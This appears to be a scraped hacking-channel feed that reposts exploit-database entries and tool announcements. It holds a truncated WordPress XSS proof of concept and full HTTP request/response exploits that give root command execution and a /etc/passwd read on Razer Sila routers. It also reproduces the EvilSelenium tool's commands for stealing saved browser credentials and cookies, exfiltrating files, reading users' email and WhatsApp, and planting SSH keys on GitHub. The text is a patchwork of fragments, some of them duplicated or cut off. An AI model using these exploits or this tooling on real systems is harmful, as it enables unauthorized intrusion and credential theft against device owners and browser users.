Exploit Collector
WordPress Anti-Malware Security And Brute-Force Firewall Cross Site Scripting

https://4.bp.blogspot.com/-mkcU-A73eZ4/WWlu7eKaHEI/AAAAAAAAIJY/m_4841aOwNcKGKR9ykgWprFWjwy04TKNACLcBGAs/s1600/h11.png
WordPress Anti-Malware Security and Brute-Force Firewall plugin versions prior to 4.20.96 suffer from a cross site scripting vulnerability.

MD5 | 2f8b972a36566b684356e0ea7f6fb4c0

Download
Tittle:
WordPress Plugin Anti-Malware Security and Brute-Force Firewall < 4.20.96 - Reflected Cross-Site Scripting

References:
CVE-2022-0953

Author:
Taurus Omar

Description:
The plugin does not sanitise and escape the QUERY_STRING before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting in browsers which do not encode characters.

Affects Plugins:
Gotmls - Fixed in version 4.20.96

Proof of Concept:
GET /wp-admin/admin.php?page=GOTMLS_View_Quarantine&a=">
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Razer Sila 2.0.418 Command Injection

https://2.bp.blogspot.com/-NrOPg3Mty0U/WWlvlwk6sbI/AAAAAAAAIRI/oNtlpfQhQf0CXQthUyFzuVS3vq_pC_VnACLcBGAs/s1600/hack_img2.png
Razer Sila versions 2.0.441_api through 2.0.418 suffer from a command injection vulnerability.

MD5 | 5eeeac18e38c618f85b2b4448e71a589

Download
# Exploit Title: Razer Sila - Command Injection
# Google Dork: N/A
# Date: 4/9/2022
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
# Software Link: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
# Version: RazerSila-2.0.441_api-2.0.418
# Tested on: Razer Sila Router
# CVE N/A

# Proof of Concept

# Request
POST /ubus/ HTTP/1.1
Host: 192.168.8.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 117
Origin: https://192.168.8.1
Referer: https://192.168.8.1/
Te: trailers
Connection: close

{"jsonrpc":"2.0","id":3,"method":"call","params":["30ebdc7dd1f519beb4b2175e9dd8463e","file","exec",{"command":"id"}]}

# Response
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Content-Length: 85

{"jsonrpc":"2.0","id":3,"result":[0,{"code":0,"stdout":"uid=0(root) gid=0(root)\n"}]}

# Request
POST /ubus/ HTTP/1.1
Host: 192.168.8.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 117
Origin: https://192.168.8.1
Referer: https://192.168.8.1/
Te: trailers
Connection: close

{"jsonrpc":"2.0","id":3,"method":"call","params":["30ebdc7dd1f519beb4b2175e9dd8463e","file","exec",{"command":"ls"}]}

# Response
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Content-Length: 172

{"jsonrpc":"2.0","id":3,"result":[0,{"code":0,"stdout":"bin\ndev\netc\nhome\ninit\nlib\nmnt\nno_gui\noverlay\nproc\nrom\nroot\nsbin\nservices\nsys\ntmp\nusr\nvar\nwww\n"}]}


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Razer Sila 2.0.418 Local File Inclusion

https://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png
Razer Sila versions 2.0.441_api through 2.0.418 suffer from a local file inclusion vulnerability.

MD5 | bc5ebe5c622fa9db83d06c40671387f0

Download
# Exploit Title: Razer Sila - Local File Inclusion (LFI)
# Google Dork: N/A
# Date: 4/9/2022
# Exploit Author: Kevin Randall
# Vendor Homepage: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
# Software Link: https://www2.razer.com/ap-en/desktops-and-networking/razer-sila
# Version: RazerSila-2.0.441_api-2.0.418
# Tested on: Razer Sila Router
# CVE N/A

# Proof of Concept

# Request
POST /ubus/ HTTP/1.1
Host: 192.168.8.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 123
Origin: https://192.168.8.1
Referer: https://192.168.8.1/
Te: trailers
Connection: close

{"jsonrpc":"2.0","id":3,"method":"call","params":["4183f72884a98d7952d953dd9439a1d1","file","read",{"path":"/etc/passwd"}]}

# Reponse
HTTP/1.1 200 OK
Connection: close
Content-Type: application/json
Content-Length: 537

{"jsonrpc":"2.0","id":3,"result":[0,{"data":"root:x:0:0:root:\/root:\/bin\/ash\ndaemon:*:1:1:daemon:\/var:\/bin\/false\nftp:*:55:55:ftp:\/home\/ftp:\/bin\/false\nnetwork:*:101:101:network:\/var:\/bin\/false\nnobody:*:65534:65534:nobody:\/var:\/bin\/false\ndnsmasq:x:453:453:dnsmasq:\/var\/run\/dnsmasq:\/bin\/false\nmosquitto:x:200:200:mosquitto:\/var\/run\/mosquitto:\/bin\/false\nlldp:x:121:129:lldp:\/var\/run\/lldp:\/bin\/false\nadmin:x:1000:1000:root:\/home\/admin:\/bin\/false\nportal:x:1001:1001::\/home\/portal:\/bin\/false\n"}]}


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
WordPress LayerSlider Cross Site Scripting

https://2.bp.blogspot.com/-NrOPg3Mty0U/WWlvlwk6sbI/AAAAAAAAIRI/oNtlpfQhQf0CXQthUyFzuVS3vq_pC_VnACLcBGAs/s1600/hack_img2.png
None
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

EvilSelenium - A Tool That Weaponizes Selenium To Attack Chromium Based Browsers
http://www.kitploit.com/2022/04/evilselenium-tool-that-weaponizes.html

___________________________
@hacking_Attack
@Hacking_Video

/dynamicname2 [login_page] [username_position] [password_position] [username_name] [password_name] - Extract saved credentials from a website, providing the username field name value, password name value and their positions.

COOKIES:
/cookies [website] - Grabs cookies for a given website.

MODULES:
/download [file_url] [seconds] - Downloads a file and specify time to wait for download to finish. File extensions should not be executable.
/exfil [local_file] [seconds] - Uploads a file on filebin.net and outputs the download link.
/gmail [out_path] [num_of_emails] - Fetches emails from mail.google.com if user is authenticated. Max 50 emails.
/outlook [out_path] [num_of_emails] - Fetches emails from Outlook if user is authenticated.
/o365 [out_path] [num_of_emails] - Fetches emails from O365 Outlook if user is authenticated.
/github [key] - Add your SSH key to Github if user is authenticated.
/whatsapp [out_p ath] - Fetches Whatsapp messages if user is authenticated (BETA).
Setup The /install command will download the Chrome Driver and Selenium WebDriver which are the necessary requirements. EvilSelenium will work on Chrome versions 100-90. Tested on Windows 10, Chrome v97 & v90. EvilSelenium.exe /install
Global configuration By default EvilSelenium will try to use Google Chrome's User Data folder to retrieve data, but other Chromium (https://en.wikipedia.org/wiki/Chromium_(web_browser)) based browsers (https://www.kitploit.com/search/label/Browsers) are supported as well.
In order to use different Chrome based browsers you should add the /browserdir following the browser routing in the %localappdata% directory. Here are examples for a few common browsers (should be added to any CLI command): Brave - /browserdir BraveSoftware\Brave-Browser Microsoft Edge - /browserdir Microsoft\Edge Vivaldi - /browserdir Vivaldi Recon Module /enumsavedsites - This will take screenshots of chrome://settings/passwords /screenshot - Screenshot any website. If the user is authenticated to the website then you get authenticated screenshots :). Credentials Module IMPORTANT: The credentials module will DELETE COOKIES in order to steal credentials from autofill. Ideally, you should use the credentials module at the end if you want to export cookies. /autorun - Prebuilt templates for common websites. I'll continue to add more. /dynamicid - Provide the login URL along with the username input field's ID and password field's ID. This is equivalent to document.getElementById(). /dynamicname - If the fields don't have IDs, provide the fields' name values. It will pick the first index of the name values. This is equivalent to document.getElementsByName()[0].value. /dynamicname2 - Provide the fields' name values along with their index position. This is equivalent to document.getElementsByName()[x].value where x is the provided position. Cookies Module /cookies - Dumps cookies from the specified website. Misc Modules These are additional modules I built to demonstrate what sort of actions you can do with Selenium. /download - Download a file & specify time to wait for the download. A non-executable file extension should be appended to the file before downloading to avoid Chrome's Safebrowsing prompt. /exfil - Uploads a file on filebin.net & specify the time to wait for the upload to complete. Once the upload is completed the file's download link is written. /gmail - Fetches emails from mail.google.com if user is authenticated. Max 50 emails. /outlook - Fetches emails from Outlook if user is authenticated. /o365 - Fetches emails from O365 Outlook if user is authenticated. /github - Add your SSH key to Github if user is authenticated. /whatsapp - Fetches Whatsapp messages if user is authenticated (BETA). Sample Commands EvilSelenium.exe /screenshot https://mail.google.com c:\users\mr.d0x\downloads

EvilSelenium.exe /dynamicid https://www.hybrid-analysis.com/login login_email login_password

___________________________
@hacking_Attack
@Hacking_Video

EvilSelenium.exe /dynamicname https://linkedin.com session_key session_password
Demo

___________________________
@hacking_Attack
@Hacking_Video

Support Follow me on twitter @mrd0x (https://twitter.com/mrd0x) BTC Wallet: 38ApE9ciNHiXzEaQExLXdwM6TrEpz2wCUi (for coffee obviously)

Download EvilSelenium (https://github.com/mrd0x/EvilSelenium)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
In Appreciation: Mike Murray

Security industry expert who spearheaded healthcare cybersecurity efforts passes away at age 46.

Hacking on Medium
Book Review: Cult of the Dead Cow, How the Original Hacking Supergroup Might Just Save the World

https://cdn-images-1.medium.com/max/650/1*Zqf9C7XzzioONBYqMFLqJg.jpeg
Cult of the Dead Cow: How the Original Hacking Supergroup Might Just Save the World is a history of the hacking group the Cult of the Dead…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hacking Instagram Scammers

https://cdn-images-1.medium.com/max/600/1*p6bto-Uwi3XSYcMqwGQgew.png
Hacking Instagram Scammers and Takeover Admin Panel

Continue reading on InfoSec Write-ups »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Beginners Guide to Ethical Hacking

https://cdn-images-1.medium.com/max/638/1*6c9BbptzKy9FoqI3dsUIPQ.png
Setting Up Our Hacking Lab

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Here’s how Hackers hack into thousands of social media accounts every day

https://cdn-images-1.medium.com/max/2600/1*SuJOoiVOZuh25jY0A37GDw.jpeg
Hackers all around the globe are constantly illegally breaking into social media accounts every single day. In movies the hacker is…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
INSTAGRAM TELİF DOLANDIRICILIĞI

https://cdn-images-1.medium.com/max/674/0*utXjewKByG8cqvHu.jpg
bu yazıda çoğumuzun duyduğu/gördüğü instagram telif dolandırıcılığının nasıl çalıştığını, kötü niyetli kişilerin bunu nasıl yaptığını…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
EvilSelenium - A Tool That Weaponizes Selenium To Attack Chromium Based Browsers

___________________________
@hacking_Attack
@Hacking_Video